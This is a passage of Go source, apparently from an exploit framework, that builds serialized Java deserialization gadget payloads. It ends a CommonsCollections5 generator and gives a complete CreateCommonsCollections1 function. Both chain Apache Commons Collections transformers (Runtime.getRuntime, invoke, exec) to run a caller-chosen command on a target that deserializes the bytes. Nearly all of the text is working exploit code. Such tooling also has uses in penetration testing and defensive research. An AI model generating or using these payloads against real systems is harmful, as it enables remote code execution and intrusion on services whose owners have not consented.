0x05}}},\n\t\t\t\tObjectField{Name: \"methodName\", Value: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x05}}},\n\t\t\t},\n\t\t},\n\t\tTCContents: []TCContent{\n\t\t\tTCInteger{Value: 81},\n\t\t\tTCString{Value: \"ysoserial.payloads.CommonsCollections5\"},\n\t\t\tTCString{Value: \"CommonsCollections5.java\"},\n\t\t\tTCString{Value: \"getObject\"},\n\t\t},\n\t}\n\n\tstackTrace2 := TCObject{\n\t\tInfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x0b}},\n\t\tTCContents: []TCContent{\n\t\t\tTCInteger{Value: 51},\n\t\t\tTCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x0d}},\n\t\t\tTCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x0e}},\n\t\t\tTCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x0f}},\n\t\t},\n\t}\n\n\tstackTrace3 := TCObject{\n\t\tInfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x0b}},\n\t\tTCContents: []TCContent{\n\t\t\tTCInteger{Value: 34},\n\t\t\tTCString{Value: \"ysoserial.GeneratePayload\"},\n\t\t\tTCString{Value: \"GeneratePayload.java\"},\n\t\t\tTCString{Value: \"main\"},\n\t\t},\n\t}\n\n\tstackTraceArray.TCContents = append(stackTraceArray.TCContents, stackTrace1)\n\tstackTraceArray.TCContents = append(stackTraceArray.TCContents, stackTrace2)\n\tstackTraceArray.TCContents = append(stackTraceArray.TCContents, stackTrace3)\n\n\tsuppressedExceptions := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"java.util.Collections$UnmodifiableList\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0xfc, 0x0f, 0x25, 0x31, 0xb5, 0xec, 0x8e, 0x10},\n\t\t\tFields: []Field{\n\t\t\t\tObjectField{\n\t\t\t\t\tName:  \"list\",\n\t\t\t\t\tValue: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x07}},\n\t\t\t\t},\n\t\t\t},\n\t\t\tSuperClassDesc: TCClassDesc{\n\t\t\t\tName:             \"java.util.Collections$UnmodifiableCollection\",\n\t\t\t\tFlags:            SCSerializableCode,\n\t\t\t\tSerialVersionUID: []byte{0x19, 0x42, 0x00, 0x80, 0xcb, 0x5e, 0xf7, 0x1e},\n\t\t\t\tFields: []Field{\n\t\t\t\t\tObjectField{\n\t\t\t\t\t\tName:  \"c\",\n\t\t\t\t\t\tValue: \"Ljava/util/Collection;\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tarrayList := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"java.util.ArrayList\",\n\t\t\tSerialVersionUID: []byte{0x78, 0x81, 0xd2, 0x1d, 0x99, 0xc7, 0x61, 0x9d},\n\t\t\tFlags:            0x03,\n\t\t\tFields: []Field{\n\t\t\t\tIntegerField{Name: \"size\"},\n\t\t\t},\n\t\t},\n\t\tTCContents: []TCContent{\n\t\t\tTCInteger{Value: 0},\n\t\t\tTCBlockData{Value: \"\\x00\\x00\\x00\\x00\"},\n\t\t},\n\t}\n\n\tsuppressedExceptions.TCContents = append(suppressedExceptions.TCContents, arrayList)\n\tsuppressedExceptions.TCContents = append(suppressedExceptions.TCContents, TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x1a}})\n\n\ttiedMapEntry := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"org.apache.commons.collections.keyvalue.TiedMapEntry\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0x8a, 0xad, 0xd2, 0x9b, 0x39, 0xc1, 0x1f, 0xdb},\n\t\t\tFields: []Field{\n\t\t\t\tObjectField{\n\t\t\t\t\tName:  \"key\",\n\t\t\t\t\tValue: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x01}},\n\t\t\t\t},\n\t\t\t\tObjectField{\n\t\t\t\t\tName:  \"map\",\n\t\t\t\t\tValue: \"Ljava/util/Map;\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tlazyMap := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"org.apache.commons.collections.map.LazyMap\",\n\t\t\tSerialVersionUID: []byte{0x6e, 0xe5, 0x94, 0x82, 0x9e, 0x79, 0x10, 0x94},\n\t\t\tFlags:            0x03,\n\t\t\tFields: []Field{\n\t\t\t\tObjectField{\n\t\t\t\t\tName:  \"factory\",\n\t\t\t\t\tValue: \"Lorg/apache/commons/collections/Transformer;\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tchainedTransformer := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"org.apache.commons.collections.functors.ChainedTransformer\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0x30, 0xc7, 0x97, 0xec, 0x28, 0x7a, 0x97, 0x04},\n\t\t\tFields: []Field{\n\t\t\t\tArrayField{\n\t\t\t\t\tName:  \"iTransformers\",\n\t\t\t\t\tValue: \"[Lorg/apache/commons/collections/Transformer;\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\ttransformersArray := TCArray{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"[Lorg.apache.commons.collections.Transformer;\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0xbd, 0x56, 0x2a, 0xf1, 0xd8, 0x34, 0x18, 0x99},\n\t\t\tFields:           []Field{},\n\t\t},\n\t}\n\n\ttransformer0 := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"org.apache.commons.collections.functors.ConstantTransformer\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0x58, 0x76, 0x90, 0x11, 0x41, 0x02, 0xb1, 0x94},\n\t\t\tFields: []Field{\n\t\t\t\tObjectField{\n\t\t\t\t\tName:  \"iConstant\",\n\t\t\t\t\tValue: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x01}},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tTCContents: []TCContent{\n\t\t\tTCClass{\n\t\t\t\tInfoContent: TCClassDesc{\n\t\t\t\t\tName:             \"java.lang.Runtime\",\n\t\t\t\t\tSerialVersionUID: []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},\n\t\t\t\t\tFlags:            0x00,\n\t\t\t\t\tFields:           []Field{},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\ttransformer1 := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"org.apache.commons.collections.functors.InvokerTransformer\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0x87, 0xe8, 0xff, 0x6b, 0x7b, 0x7c, 0xce, 0x38},\n\t\t\tFields: []Field{\n\t\t\t\tArrayField{Name: \"iArgs\", Value: \"[Ljava/lang/Object;\"},\n\t\t\t\tObjectField{Name: \"iMethodName\", Value: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x05}}},\n\t\t\t\tArrayField{Name: \"iParamTypes\", Value: \"[Ljava/lang/Class;\"},\n\t\t\t},\n\t\t},\n\t}\n\n\tiArgs1 := TCArray{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"[Ljava.lang.Object;\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0x90, 0xce, 0x58, 0x9f, 0x10, 0x73, 0x29, 0x6c},\n\t\t\tFields:           []Field{},\n\t\t},\n\t\tTCContents: []TCContent{\n\t\t\tTCString{Value: \"getRuntime\"},\n\t\t\tTCArray{\n\t\t\t\tInfoContent: TCClassDesc{\n\t\t\t\t\tName:             \"[Ljava.lang.Class;\",\n\t\t\t\t\tFlags:            SCSerializableCode,\n\t\t\t\t\tSerialVersionUID: []byte{0xab, 0x16, 0xd7, 0xae, 0xcb, 0xcd, 0x5a, 0x99},\n\t\t\t\t\tFields:           []Field{},\n\t\t\t\t},\n\t\t\t\tTCContents: []TCContent{},\n\t\t\t},\n\t\t},\n\t}\n\n\tiParamTypes1 := TCArray{\n\t\tInfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x32}},\n\t\tTCContents: []TCContent{\n\t\t\tTCClass{\n\t\t\t\tInfoContent: TCClassDesc{\n\t\t\t\t\tName:             \"java.lang.String\",\n\t\t\t\t\tFlags:            SCSerializableCode,\n\t\t\t\t\tSerialVersionUID: []byte{0xa0, 0xf0, 0xa4, 0x38, 0x7a, 0x3b, 0xb3, 0x42},\n\t\t\t\t\tFields:           []Field{},\n\t\t\t\t},\n\t\t\t},\n\t\t\tTCClass{InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x32}}},\n\t\t},\n\t}\n\n\ttransformer1.TCContents = append(transformer1.TCContents, iArgs1)\n\ttransformer1.TCContents = append(transformer1.TCContents, TCString{Value: \"getMethod\"})\n\ttransformer1.TCContents = append(transformer1.TCContents, iParamTypes1)\n\n\ttransformer2 := TCObject{\n\t\tInfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x2b}},\n\t}\n\n\tiArgs2 := TCArray{\n\t\tInfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x2f}},\n\t\tTCContents: []TCContent{\n\t\t\tTCNull{},\n\t\t\tTCArray{\n\t\t\t\tInfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x2f}},\n\t\t\t\tTCContents:  []TCContent{},\n\t\t\t},\n\t\t},\n\t}\n\n\tiParamTypes2 := TCArray{\n\t\tInfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x32}},\n\t\tTCContents: []TCContent{\n\t\t\tTCClass{\n\t\t\t\tInfoContent: TCClassDesc{\n\t\t\t\t\tName:             \"java.lang.Object\",\n\t\t\t\t\tSerialVersionUID: []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},\n\t\t\t\t\tFlags:            0x00,\n\t\t\t\t\tFields:           []Field{},\n\t\t\t\t},\n\t\t\t},\n\t\t\tTCClass{InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x2f}}},\n\t\t},\n\t}\n\n\ttransformer2.TCContents = append(transformer2.TCContents, iArgs2)\n\ttransformer2.TCContents = append(transformer2.TCContents, TCString{Value: \"invoke\"})\n\ttransformer2.TCContents = append(transformer2.TCContents, iParamTypes2)\n\n\ttransformer3 := TCObject{\n\t\tInfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x2b}},\n\t}\n\n\tiArgs3 := TCArray{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"[Ljava.lang.String;\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0xad, 0xd2, 0x56, 0xe7, 0xe9, 0x1d, 0x7b, 0x47},\n\t\t\tFields:           []Field{},\n\t\t},\n\t\tTCContents: []TCContent{\n\t\t\tTCString{Value: fmt.Sprintf(\"%s %s\", program, args)},\n\t\t},\n\t}\n\n\tiParamTypes3 := TCArray{\n\t\tInfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x32}},\n\t\tTCContents: []TCContent{\n\t\t\tTCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x37}},\n\t\t},\n\t}\n\n\ttransformer3.TCContents = append(transformer3.TCContents, iArgs3)\n\ttransformer3.TCContents = append(transformer3.TCContents, TCString{Value: \"exec\"})\n\ttransformer3.TCContents = append(transformer3.TCContents, iParamTypes3)\n\n\ttransformer4 := TCObject{\n\t\tInfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x27}},\n\t}\n\n\tintegerOne := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"java.lang.Integer\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0x12, 0xe2, 0xa0, 0xa4, 0xf7, 0x81, 0x87, 0x38},\n\t\t\tFields: []Field{\n\t\t\t\tIntegerField{Name: \"value\"},\n\t\t\t},\n\t\t\tSuperClassDesc: TCClassDesc{\n\t\t\t\tName:             \"java.lang.Number\",\n\t\t\t\tFlags:            SCSerializableCode,\n\t\t\t\tSerialVersionUID: []byte{0x86, 0xac, 0x95, 0x1d, 0x0b, 0x94, 0xe0, 0x8b},\n\t\t\t\tFields:           []Field{},\n\t\t\t},\n\t\t},\n\t\tTCContents: []TCContent{\n\t\t\tTCInteger{Value: 1},\n\t\t},\n\t}\n\n\ttransformer4.TCContents = append(transformer4.TCContents, integerOne)\n\n\ttransformersArray.TCContents = append(transformersArray.TCContents, transformer0)\n\ttransformersArray.TCContents = append(transformersArray.TCContents, transformer1)\n\ttransformersArray.TCContents = append(transformersArray.TCContents, transformer2)\n\ttransformersArray.TCContents = append(transformersArray.TCContents, transformer3)\n\ttransformersArray.TCContents = append(transformersArray.TCContents, transformer4)\n\n\tchainedTransformer.TCContents = append(chainedTransformer.TCContents, transformersArray)\n\n\thashMap := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"java.util.HashMap\",\n\t\t\tSerialVersionUID: []byte{0x05, 0x07, 0xda, 0xc1, 0xc3, 0x16, 0x60, 0xd1},\n\t\t\tFlags:            0x03,\n\t\t\tFields: []Field{\n\t\t\t\tFloatField{Name: \"loadFactor\"},\n\t\t\t\tIntegerField{Name: \"threshold\"},\n\t\t\t},\n\t\t},\n\t\tTCContents: []TCContent{\n\t\t\tTCFloat{Value: 0.75},\n\t\t\tTCInteger{Value: 0},\n\t\t\tTCBlockData{Value: \"\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\"},\n\t\t\tTCEndBlockData{},\n\t\t},\n\t}\n\n\tlazyMap.TCContents = append(lazyMap.TCContents, chainedTransformer)\n\tlazyMap.TCContents = append(lazyMap.TCContents, hashMap)\n\n\ttiedMapEntry.TCContents = append(tiedMapEntry.TCContents, TCString{Value: \"foo\"})\n\ttiedMapEntry.TCContents = append(tiedMapEntry.TCContents, lazyMap)\n\n\t// put the pieces into the root object\n\trootObject.TCContents = append(rootObject.TCContents, causeSelfRef)\n\trootObject.TCContents = append(rootObject.TCContents, detailMessage)\n\trootObject.TCContents = append(rootObject.TCContents, stackTraceArray)\n\trootObject.TCContents = append(rootObject.TCContents, suppressedExceptions)\n\trootObject.TCContents = append(rootObject.TCContents, TCEndBlockData{})\n\trootObject.TCContents = append(rootObject.TCContents, tiedMapEntry)\n\n\t// Finalize\n\trootObjectBytes, ok := rootObject.ToBytes()\n\tif !ok {\n\t\treturn []byte{}, false\n\t}\n\tfinalObject = append(finalObject, rootObjectBytes...)\n\n\treturn finalObject, true\n}\n\n// Generates the CommonsCollections1 gadget payload.\nfunc CreateCommonsCollections1(program string, args string) ([]byte, bool) {\n\tfinalObject := []byte{}\n\tfinalObject = append(finalObject, StreamMagicCode[:]...)\n\tfinalObject = append(finalObject, StreamVersionCode...)\n\n\t// RootObject\n\trootObject := TCObject{}\n\t// RootObject.InfoContent\n\trootInfoContent := TCClassDesc{\n\t\tName:             \"sun.reflect.annotation.AnnotationInvocationHandler\",\n\t\tFlags:            SCSerializableCode,\n\t\tSerialVersionUID: []byte{0x55, 0xca, 0xf5, 0x0f, 0x15, 0xcb, 0x7e, 0xa5},\n\t\tFields: []Field{\n\t\t\tObjectField{\n\t\t\t\tName:  \"memberValues\",\n\t\t\t\tValue: \"Ljava/util/Map;\",\n\t\t\t},\n\t\t\tObjectField{\n\t\t\t\tName:  \"type\",\n\t\t\t\tValue: \"Ljava/lang/Class;\",\n\t\t\t},\n\t\t},\n\t}\n\trootObject.InfoContent = rootInfoContent\n\t// objectOne, in order from top to bottom, one being the top, least nested, and the highest object being the most nested\n\ttcObjectOne := TCObject{\n\t\tInfoContent: TCProxyClassDesc{\n\t\t\tInterfaces: []string{\"java.util.Map\"},\n\t\t\tSuperClassDesc: TCClassDesc{\n\t\t\t\tName:             \"java.lang.reflect.Proxy\",\n\t\t\t\tFlags:            SCSerializableCode,\n\t\t\t\tSerialVersionUID: []byte{0xe1, 0x27, 0xda, 0x20, 0xcc, 0x10, 0x43, 0xcb},\n\t\t\t\tFields: []Field{\n\t\t\t\t\tObjectField{\n\t\t\t\t\t\tName:  \"h\",\n\t\t\t\t\t\tValue: \"Ljava/lang/reflect/InvocationHandler;\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\t// objectTwo member of objectOne contents\n\ttcObjectTwo := TCObject{\n\t\tInfoContent: TCReference{\n\t\t\tHandler: []byte{0x00, 0x7e, 0x00, 0x00},\n\t\t},\n\t}\n\n\t// objectThree member of objectTwo contents\n\ttcObjectThree := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"org.apache.commons.collections.map.LazyMap\",\n\t\t\tSerialVersionUID: []byte{0x6e, 0xe5, 0x94, 0x82, 0x9e, 0x79, 0x10, 0x94},\n\t\t\tFlags:            0x03,\n\t\t\tFields: []Field{\n\t\t\t\tObjectField{\n\t\t\t\t\tName:  \"factory\",\n\t\t\t\t\tValue: \"Lorg/apache/commons/collections/Transformer;\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\t// objectFour member of objectThree contents\n\ttcObjectFour := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"org.apache.commons.collections.functors.ChainedTransformer\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0x30, 0xc7, 0x97, 0xec, 0x28, 0x7a, 0x97, 0x04},\n\t\t\tFields: []Field{\n\t\t\t\tArrayField{\n\t\t\t\t\tName:  \"iTransformers\",\n\t\t\t\t\tValue: \"[Lorg/apache/commons/collections/Transformer;\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\t// tcArrayOne member of objectFour contents\n\ttcArrayOne := TCArray{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"[Lorg.apache.commons.collections.Transformer;\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0xbd, 0x56, 0x2a, 0xf1, 0xd8, 0x34, 0x18, 0x99},\n\t\t\tFields:           []Field{},\n\t\t},\n\t}\n\n\t// objectFive  member of tcArrayOne values (values because it's an array) (1 of 5)\n\ttcObjectFive := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"org.apache.commons.collections.functors.ConstantTransformer\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0x58, 0x76, 0x90, 0x11, 0x41, 0x02, 0xb1, 0x94},\n\t\t\tFields: []Field{\n\t\t\t\tObjectField{\n\t\t\t\t\tName:  \"iConstant\",\n\t\t\t\t\tValue: \"Ljava/lang/Object;\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\t// tcClassOne member of objectFive contents\n\ttcClassOne := TCClass{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"java.lang.Runtime\",\n\t\t\tSerialVersionUID: []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},\n\t\t\tFlags:            0x00,\n\t\t\tFields:           []Field{},\n\t\t},\n\t}\n\n\t// objectSix member of tcArrayOne values (2 of 5)\n\ttcObjectSix := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"org.apache.commons.collections.functors.InvokerTransformer\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0x87, 0xe8, 0xff, 0x6b, 0x7b, 0x7c, 0xce, 0x38},\n\t\t\tFields: []Field{\n\t\t\t\tArrayField{\n\t\t\t\t\tName:  \"iArgs\",\n\t\t\t\t\tValue: \"[Ljava/lang/Object;\",\n\t\t\t\t},\n\t\t\t\tObjectField{\n\t\t\t\t\tName:  \"iMethodName\",\n\t\t\t\t\tValue: \"Ljava/lang/String;\",\n\t\t\t\t},\n\t\t\t\tArrayField{\n\t\t\t\t\tName:  \"iParamTypes\",\n\t\t\t\t\tValue: \"[Ljava/lang/Class;\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\t// tcArrayTwo member of tcObjectSix (1 of 3)\n\ttcArrayTwo := TCArray{ // iArgs\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"[Ljava.lang.Object;\",\n\t\t\tSerialVersionUID: []byte{0x90, 0xce, 0x58, 0x9f, 0x10, 0x73, 0x29, 0x6c},\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tFields:           []Field{},\n\t\t},\n\t\tTCContents: []TCContent{\n\t\t\tTCString{Value: \"getRuntime\"},\n\t\t\tTCArray{\n\t\t\t\tInfoContent: TCClassDesc{\n\t\t\t\t\tName:             \"[Ljava.lang.Class;\",\n\t\t\t\t\tFlags:            SCSerializableCode,\n\t\t\t\t\tSerialVersionUID: []byte{0xab, 0x16, 0xd7, 0xae, 0xcb, 0xcd, 0x5a, 0x99},\n\t\t\t\t\tFields:           []Field{},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\t// tcStringOne member of tcObjectSix (2 of 3)\n\ttcStringOne := TCString{Value: \"getMethod\"} // iMethodName\n\n\t// tcArrayThree member of tcObjectSix (3 of 3)\n\ttcArrayThree := TCArray{ // iArgs\n\t\tInfoContent: TCReference{\n\t\t\tHandler: []byte{0x00, 0x7e, 0x00, 0x1e},\n\t\t},\n\t\tTCContents: []TCContent{\n\t\t\tTCClass{\n\t\t\t\tInfoContent: TCClassDesc{\n\t\t\t\t\tName:             \"java.lang.String\",\n\t\t\t\t\tFlags:            SCSerializableCode,\n\t\t\t\t\tSerialVersionUID: []byte{0xa0, 0xf0, 0xa4, 0x38, 0x7a, 0x3b, 0xb3, 0x42},\n\t\t\t\t\tFields:           []Field{},\n\t\t\t\t},\n\t\t\t},\n\t\t\tTCClass{\n\t\t\t\tInfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x1e}},\n\t\t\t},\n\t\t},\n\t}\n\n\t// tcObjectSeven member of tcArrayOne values (3 of 5)\n\ttcObjectSeven := TCObject{\n\t\tInfoContent: TCReference{\n\t\t\tHandler: []byte{0x00, 0x7e, 0x00, 0x16},\n\t\t},\n\t}\n\n\t// tcArrayFour member of tcObjectSeven members\n\ttcArrayFour := TCArray{ // iArgs\n\t\tInfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x1b}},\n\t\tTCContents: []TCContent{\n\t\t\tTCNull{},\n\t\t\tTCArray{\n\t\t\t\tInfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x1b}},\n\t\t\t\tTCContents:  []TCContent{},\n\t\t\t},\n\t\t},\n\t}\n\n\t// tcStringTwo member of tcObjectSeven members\n\ttcStringTwo := TCString{Value: \"invoke\"} // iMethodName\n\n\t// tcArrayFive member of tcObjectSeven members\n\ttcArrayFive := TCArray{ // iParamTypes\n\t\tInfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x1e}},\n\t\tTCContents: []TCContent{\n\t\t\tTCClass{\n\t\t\t\tInfoContent: TCClassDesc{\n\t\t\t\t\tName:             \"java.lang.Object\",\n\t\t\t\t\tSerialVersionUID: []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},\n\t\t\t\t\tFlags:            0x00,\n\t\t\t\t\tFields:           []Field{},\n\t\t\t\t},\n\t\t\t},\n\t\t\tTCClass{TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x1b}}},\n\t\t},\n\t}\n\n\t// tcObjectEight member of tcArrayOne values (4 of 5)\n\ttcObjectEight := TCObject{\n\t\tInfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x16}},\n\t}\n\n\t// tcArraySix member of tcObjectEight values\n\ttcArraySix := TCArray{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"[Ljava.lang.String;\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0xad, 0xd2, 0x56, 0xe7, 0xe9, 0x1d, 0x7b, 0x47},\n\t\t\tFields:           []Field{},\n\t\t},\n\t\tTCContents: []TCContent{\n\t\t\tTCString{Value: fmt.Sprintf(\"%s %s\", program, args)},\n\t\t},\n\t}\n\ttcObjectEight.TCContents = append(tcObjectEight.TCContents, tcArraySix)\n\ttcObjectEight.TCContents = append(tcObjectEight.TCContents, TCString{Value: \"exec\"})\n\ttcObjectEight.TCContents = append(tcObjectEight.TCContents, TCArray{\n\t\tInfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x1e}},\n\t\tTCContents: []TCContent{\n\t\t\tTCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x23}},\n\t\t},\n\t},\n\t)\n\n\t// tcObjectNine member of tcArrayOne values (5 of 5)\n\ttcObjectNine := TCObject{\n\t\tInfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x11}},\n\t}\n\n\t// tcObjectTen member of tcObjectNine\n\ttcObjectTen := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"java.lang.Integer\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0x12, 0xe2, 0xa0, 0xa4, 0xf7, 0x81, 0x87, 0x38},\n\t\t\tFields: []Field{\n\t\t\t\tIntegerField{Name: \"value\"},\n\t\t\t},\n\t\t\tSuperClassDesc: TCClassDesc{\n\t\t\t\tName:             \"java.lang.Number\",\n\t\t\t\tFlags:            SCSerializableCode,\n\t\t\t\tSerialVersionUID: []byte{0x86, 0xac, 0x95, 0x1d, 0x0b, 0x94, 0xe0, 0x8b},\n\t\t\t\tFields:           []Field{},\n\t\t\t},\n\t\t},\n\t}\n\ttcObjectTen.TCContents = append(tcObjectTen.TCContents, TCInteger{Value: 1})\n\ttcObjectNine.TCContents = append(tcObjectNine.TCContents, tcObjectTen)\n\n\t// next item.... goes into ?? values\n\ttcObjectEleven := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"java.util.HashMap\",\n\t\t\tSerialVersionUID: []byte{0x05, 0x07, 0xda, 0xc1, 0xc3, 0x16, 0x60, 0xd1},\n\t\t\tFlags:            0x03,\n\t\t\tFields: []Field{\n\t\t\t\tFloatField{Name: \"loadFactor\"},\n\t\t\t\tIntegerField{Name: \"threshold\"},\n\t\t\t},\n\t\t},\n\t\tTCContents: []TCContent{\n\t\t\tTCFloat{Value: 0.75},\n\t\t\tTCInteger{Value: 0},\n\t\t\tTCBlockData{Value: \"\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\"},\n\t\t\tTCEndBlockData{},\n\t\t},\n\t}\n\n\t// appending all objects in expected order because I don't want a giant nested inline object (even though it might be easier to read that way)\n\ttcObjectSeven.TCContents = append(tcObjectSeven.TCContents, tcArrayFour) // iArgs\n\ttcObjectSeven.TCContents = append(tcObjectSeven.TCContents, tcStringTwo) // iMethodName\n\ttcObjectSeven.TCContents = append(tcObjectSeven.TCContents, tcArrayFive) // iParamTypes\n\n\ttcObjectSix.TCContents = append(tcObjectSix.TCContents, tcArrayTwo)   // iArgs\n\ttcObjectSix.TCContents = append(tcObjectSix.TCContents, tcStringOne)  // iMethodName\n\ttcObjectSix.TCContents = append(tcObjectSix.TCContents, tcArrayThree) // iParamTypes\n\n\ttcObjectFive.TCContents = append(tcObjectFive.TCContents, tcClassOne)\n\n\ttcArrayOne.TCContents = append(tcArrayOne.TCContents, tcObjectFive)\n\ttcArrayOne.TCContents = append(tcArrayOne.TCContents, tcObjectSix)\n\ttcArrayOne.TCContents = append(tcArrayOne.TCContents, tcObjectSeven)\n\ttcArrayOne.TCContents = append(tcArrayOne.TCContents, tcObjectEight)\n\ttcArrayOne.TCContents = append(tcArrayOne.TCContents, tcObjectNine)\n\n\ttcObjectFour.TCContents = append(tcObjectFour.TCContents, tcArrayOne)\n\ttcObjectThree.TCContents = append(tcObjectThree.TCContents, tcObjectFour)\n\n\ttcObjectThree.TCContents = append(tcObjectThree.TCContents, tcObjectEleven)\n\ttcObjectFour.TCContents = append(tcObjectFour.TCContents, TCClass{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"java.lang.Override\",\n\t\t\tSerialVersionUID: []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},\n\t\t\tFlags:            0x00,\n\t\t\tFields:           []Field{},\n\t\t},\n\t})\n\n\ttcObjectTwo.TCContents = append(tcObjectTwo.TCContents, tcObjectThree)\n\ttcObjectOne.TCContents = append(tcObjectOne.TCContents, tcObjectTwo)\n\trootObject.TCContents = append(rootObject.TCContents, tcObjectOne)\n\n\trootObject.TCContents = append(rootObject.TCContents, TCClass{InfoContent: TCClassDesc{Name: \"java.lang.Override\", SerialVersionUID: []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, Flags: 0x00, Fields: []Field{}}})\n\trootObject.TCContents = append(rootObject.TCContents, TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x3a}})\n\t// finalize\n\trootObjectBytes, ok := rootObject.ToBytes()\n\tif !ok {\n\t\toutput.PrintFrameworkError(\"Failed to convert root object into bytes\")\n\n\t\treturn []byte{}, false\n\t}\n\tfinalObject = append(finalObject, rootObjectBytes...)\n\n\treturn finalObject, true\n}\n"
  },
  {
    "path": "java/javaclass.go",
